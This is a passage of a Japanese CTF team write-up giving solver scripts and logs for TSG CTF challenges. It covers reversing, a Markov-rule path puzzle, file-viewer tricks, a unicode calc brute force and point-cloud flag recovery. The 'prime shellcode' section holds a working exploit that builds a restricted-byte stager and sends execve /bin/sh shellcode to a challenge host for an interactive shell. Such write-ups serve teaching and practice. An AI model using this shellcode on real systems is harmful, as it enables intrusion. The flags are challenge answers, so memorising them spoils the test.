0x624F786E344F6E7A, 0x1C566D342C774434] # XOR演算に使われた値をデバッガで取得 v4 = [73, 72, 92, 20, 22, 88, 89, 86, 21, 73, 16, 64, 88, 89, 84, 16, 6, 9, 0, 0, 7, 5, 4, 7, 73, 65, 15, 26, 23, 0, 72, 3, 30, 12, 16, 85, 0, 28, 16, 0, 5, 42, 22, 94, 77, 16, 86, 28] v5 = b''.join([int.to_bytes(i, 8, 'little') for i in v3]) v6 = [v5[i] ^ v4[i] for i in range(len(v4))] v7 = ''.join([chr(i) for i in v6]) print(v7) ``` ### serverless ユーザーはサーバーに`/TSGCTF%7B...%7D`のようなパスでアクセスできる。もしこのパスが正しいフラグであればマルコフアルゴリズムによって置換が繰り返されて`/`で停止する。本問題ではそのようなパスを探すことが目的である。 まず以下のルール群より、`/TSGCTF(f)(t)(c)(g)(s)(t)`は`/`に置換されることがわかる。 ``` ^(.*)M\(m\) -> \1 ^(.*)H\(h\) -> \1 [...] ``` また以下のルール群より、`/TSGCTF%7Bhoge_fuga_piyo%7D`は`/TSGCTF(/hoge)(/fuga)(/piyo)`のような形に置換されることがわかる。つまり、`/TSGCTF(/hoge)(/fuga)(/piyo)`における`()`内の文字列が`f`,`t`,`c`,`g`,`s`,`t`にそれぞれ置換されるものであればよい。 ``` ^(.*)%7D%7B -> \1+ ^(.*)%7D -> \1) ^(.*)%7B -> \1(/ ^(.*)_ -> \1)(/ ^(.*)/\) -> \1) ``` 残りのルール群を観察すると、`TSGCTF(...)(/p1 p2 ... p2' p3)(...)`のような形のパスがあったときにp1~p3がそれぞれ以下の形のルールに対応していそうだと予想できる。 ``` p1: \1hITB/ p2: \1(o)(q)(d)FCU/ p3: \1(r)(w)(d)/ ``` p1~p3の組み合わせが正しければ、最初に示した`^(.*)M\(m\) -> \1`から始まるルール群によって置換されていき最終的にp1の小文字のアルファベットのみが残る。 以上から、正しいp1~p3の組み合わせを求めるソルバーを書くとフラグが得られた。 ```python def parse_rules(): rules = [] with open('compose.yml', 'r') as f: for line in f: if 'pattern' in line: pat = line.split('"')[1].split('"')[0].replace('\\\\', '\\') elif 'substitution' in line: sub = line.split('"')[1].split('"')[0].replace('\\\\', '\\') rules.append((pat, sub)) return rules def extract_key(sub, idx): return f'({sub[idx+2]})({sub[idx+1]})({sub[idx]})'.lower() def find_stage1(rules): for pat, sub in rules: if '(' not in sub and len(sub) >= 3 and sub[2] in 'tsgctf': key = extract_key(sub, 3) find_stage2(key, {key}, sub[2], pat.split('/')[1], rules) def find_stage2(current_key, visited_keys, top, flag, rules): for pat, sub in rules: if current_key in sub: if ')/' in sub: parts[top] = (flag + pat.split('/')[1]).replace(' ', '').replace('\\', '') else: next_key = extract_key(sub, 11) if next_key not in visited_keys: find_stage2(next_key, visited_keys | {next_key}, top, flag + pat.split('/')[1], rules) parts = {} rules = parse_rules() find_stage1(rules) flag = '_'.join([parts[c] for c in 'tsgctf'[::-1]]) print(f'TSGCTF{{{flag}}}') ``` ## Misc ### Cached File Viewer ``` 1. load_file 2. read 3. bye choice > 1 index > 1 filename > flag Read 22 bytes. 1. load_file 2. read 3. bye choice > 1 index > 2 filename > flag 1. load_file 2. read 3. bye choice > 2 index > 2 content: TSGCTF{!7esuVVz2n@!Fm} ``` ### simple calc ```python import bisect from collections import defaultdict from itertools import product import json import pickle from unicodedata import numeric from tqdm import tqdm print("[+] extracting numerics...") b1 = {} for i in range(0x110000): if not chr(i).isnumeric(): continue try: a = numeric(chr(i)) if a not in b1: b1[a] = chr(i) except: pass print("numerics:", [*sorted(b1.keys())]) b2, b3, b4, b5 = {}, {}, {}, {} bucket = { 1: b1, 2: b2, 3: b3, 4: b4, 5: b5 } def add(i: int, x: float, s: str): if x in bucket[i]: return bucket[i][x] = s print("[+] generating...") for i in [2,3]: for p in product(*([list(b1.keys())] * i)): x = 0. for c in p: x = 10 * x + c add(i, x, "".join([b1[c] for c in p])) key3 = list(bucket[3].keys()); key3.sort() numbers = {} for c1, v1 in tqdm(bucket[2].items()): if 12346 <= c1: continue l, r = 12345678 - c1 * 1000, 12345778 - c1 * 1000 lind, rind = bisect.bisect(key3, l), bisect.bisect(key3, r) for i in range(lind, rind): c2 = key3[i] v2 = bucket[3][c2] c, v = c1 * 1000 + c2, v1 + v2 numbers[int(c)] = v from pwn import * s = b"" i = 12345678 while True: stream = remote("34.146.186.1", 53117) stream.sendline(numbers[i]) c = stream.recvline().split()[-1] if c == b'*': break s += c i += 1 print(s, c) stream.close() ``` ### Cached File Viewer 2 ``` 1. load_file 2. read 3. bye choice > 1 index > 0 filename > /var/lib/dpkg/info/libdb5.3t64:amd64.shlibs Read 22 bytes. 1. load_file 2. read 3. bye choice > 1 index > 0 filename > flag Read 22 bytes. content: TSGCTF{hQAz-yXc6fLoyK} Overwrite loaded file? (y/n) > ``` ### prime shellcode Author: zatsu #### 解法 stack上にshellcodeの開始位置へのアドレスが存在するため、`pop r9` 等の命令を用いてstack addressを得られる。 payload内の適当な位置に `\x0d\x05` を入力しておき、そこに `add r5 0x02; mov r11, r15; add rdx, r11` のような命令を用いて2を加算して `\x0f\05` (`syscall`) を作る。 その後、適切にレジスタを設定して `read(0, shellcode addr + x, y)` を呼び出し、`read` での入力でshellcodeを注入することでshellが得られた。 #### コード ```python from ptrlib import * # p = Process(['./prime_shellcode']) p = Socket('34.146.186.1', 42333) payload = b'' def c(x): length = 0 y = x while y > 0: y >>= 8 length += 1 return [(x >> (length * 8 - i - 8)) & 0xff for i in range(0, length * 8, 8)] payload = [2, 2, 2] payload += [89, 89] # pop rcx * n # まずはどうにかしてstack addressを移す payload += c(0x4359) # pop r9 payload += c(0x4f8be9) # mov r13, r9 payload += c(0x67498be5) # mov rsp, r13 ofs = 0x100 for i in range(ofs // 8): payload += c(0x4359) # pop rcx # 494989e3: mov r11, rsp payload += c(0x494989e3) # mov r11, rsp (これが 0xdfb のアドレス) # 43498b13: mov rdx, qword ptr [r11] payload += c(0x43498b13) # mov rdx, qword ptr [r11] # 4983c725: add r15, 25 payload += c(0x4983c702) # 4f89fb: mov r11, r15 payload += c(0x4f89fb) # 674903d3: add rdx, r11 payload += c(0x674903d3) # 4989d3: mov r11, rdx payload += c(0x4989d3) # 4353: push r11 payload += c(0x4353) # ここまででsyscall用の命令セットができたので、レジスタを設定していく # raxはdefaultで 0 (read) なので問題なし # rdiも 0 (stdin) でよい # rsi (buf) は rspの直後とかにする # rdx (len) の設定も適当に # 434f89e3: mov r11, r12 payload += c(0x434f89e3) # 47b3fb: mov r11b, 0xfb payload += c(0x47b3fb) # 47498bd3: mov rdx, r11 payload += c(0x47498bd3) # r11 += r15 してstack pointerをズラすので、そのためにr15を適当な8の倍数にする # 現時点の r2 は 0x2 なので, ここから 0x100 にする # 4983c77f: add r15, 0x7f payload += c(0x4983c77f) payload += c(0x4983c77f) # syscallの引数は少し増やしてから渡す # 434989e3: mov r11, rsp payload += c(0x434989e3) # 4f03df: add r11, r15 payload += c(0x4f03df) # 4f4f8be3: mov r12, r11 payload += c(0x4f4f8be3) # 474f89e5: mov r13, r12 payload += c(0x474f89e5) # 494f89e9: mov r9, r13 payload += c(0x494f89e9) # 49498bf1: mov rsi, r9 payload += c(0x49498bf1) payload.extend(c(0x02c1) * ((ofs - len(payload)) // 2 - 10)) while len(payload) < ofs: payload += [89] # dummy assert len(payload) == ofs print(ofs) payload += c(0x0d05) payload += [89] * 6 with open('payload', 'wb') as f: print(payload) payload = bytes(payload).ljust(0x1000, b'\x05') f.write(payload) p.sendafter(b':', payload) p.send(b"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05") p.interactive() ``` ### Scattered in the fog ```python import copy import string import numpy as np import cv2 import open3d as o3d from sklearn.decomposition import PCA alphabet = string.ascii_uppercase + "{}_" print(len(alphabet)) patchsize, shift = 64, 64 patches = np.zeros((len(alphabet)+1, patchsize, patchsize), np.uint8) offset = 8 for i in range(len(alphabet)): cv2.putText(patches[i], alphabet[i], (offset, patchsize-offset), cv2.FONT_HERSHEY_SIMPLEX, 2.0, 255, 4) known_flag = "TSGCTF{_________________________________________________ROCESS}" # secret! assert len(known_flag) == 63 radii = (len(known_flag) - 1) / 2 coords = np.load("orig.npy") # 2. 平均を原点に移動(センタリング) mean_coords = np.mean(coords, axis=0) coords_centered = coords - mean_coords # shape: (N, 3) # 3. PCA を適用し、主成分空間へマッピング pca = PCA(n_components=3) pca.fit(coords_centered) coords = pca.transform(coords_centered) # shape: (N, 3) # Rotate 90 degrees around the y-axis theta = np.radians(-90) c, s = np.cos(theta), np.sin(theta) rotation_matrix = np.array([ [c, 0, s], [0, 1, 0], [-s, 0, c] ]) coords = coords @ rotation_matrix charactors = 3 coords_target = [] for i in range(len(known_flag)): if not (i < charactors or len(known_flag) - i <= charactors): continue index = alphabet.index(known_flag[i]) img = patches[index] xmap, ymap = np.meshgrid(np.arange(patchsize), np.arange(patchsize)) xs = xmap[np.where(img == 255)].astype(np.float32)[:, None] ys = ymap[np.where(img == 255)].astype(np.float32)[:, None] zs = np.full_like(xs, shift * (i - radii)) coords_target.append(np.concatenate([xs, ys, zs], axis=1)) coords_target = np.concatenate(coords_target, axis=0) # extract "TSG ... xx}" coords_orig = coords coords_extracted = coords coords_extracted = coords_extracted[ (coords[:, 2] <= 64 * (-32 + charactors)) | (coords[:, 2] >= 64 * (32 - charactors - 1)) ] coords_extracted = coords_extracted[(coords_extracted[:, 0] ** 2 + coords_extracted[:, 1] ** 2) <= 36 ** 2] pcd_orig = o3d.geometry.PointCloud() pcd_orig.points = o3d.utility.Vector3dVector(coords_orig) pcd_extracted = o3d.geometry.PointCloud() pcd_extracted.points = o3d.utility.Vector3dVector(coords_extracted) pcd_target = o3d.geometry.PointCloud() pcd_target.points = o3d.utility.Vector3dVector(coords_target) reg_result = o3d.pipelines.registration.registration_icp( source=pcd_extracted, target=pcd_target, max_correspondence_distance=16, init=np.eye(4), estimation_method=o3d.pipelines.registration.TransformationEstimationPointToPoint(), # criteria=o3d.pipelines.registration.ICPConvergenceCriteria(relative_fitness=0, relative_rmse=0, max_iteration=5000) criteria=o3d.pipelines.registration.ICPConvergenceCriteria(relative_fitness=1e-1000, relative_rmse=1e-1000, max_iteration=5000) ) print("Fitness (overlap ratio):", reg_result.fitness) print("RMSE:", reg_result.inlier_rmse) print("Transformation matrix:\n", reg_result.transformation) transformation = reg_result.transformation pcd_orig_transformed = pcd_orig.transform(transformation) coords = np.asarray(pcd_orig_transformed.points) coords[:, 1] = coords[:, 1] % 64 coords[:, 0] = coords[:, 0] % 64 # pcd = o3d.geometry.PointCloud() # pcd.points = o3d.utility.Vector3dVector(coords) # o3d.visualization.draw_geometries([pcd]) image_list = [] for i in range(64): z_min = 64 * (-31.5 + i) z_max = 64 * (-31.5 + i + 1) subset = coords[(coords[:, 2] >= z_min) & (coords[:, 2] < z_max)] img = np.zeros((64, 64), dtype=np.uint8) x = subset[:, 0].astype(int) y = subset[:, 1].astype(int) img[y, x] = 255 image_list.append(img) combined_image = np.hstack(image_list) cv2.imwrite('res.png', combined_image) ``` ### H* ``` let f:: x::Integer{x>1} -> Tot(res::Integer{res=0}) = \x -> (x-1) / x in (if ((f 5) + (f 5)) > 1 then (flag 1) else (print 0)) __EOF__ ``` --- Arata, いわんこ, kiona, keymoon, tsune, hiikunZ, みゃう, Rona, ryohz, Yu, yu1hpa, zatsu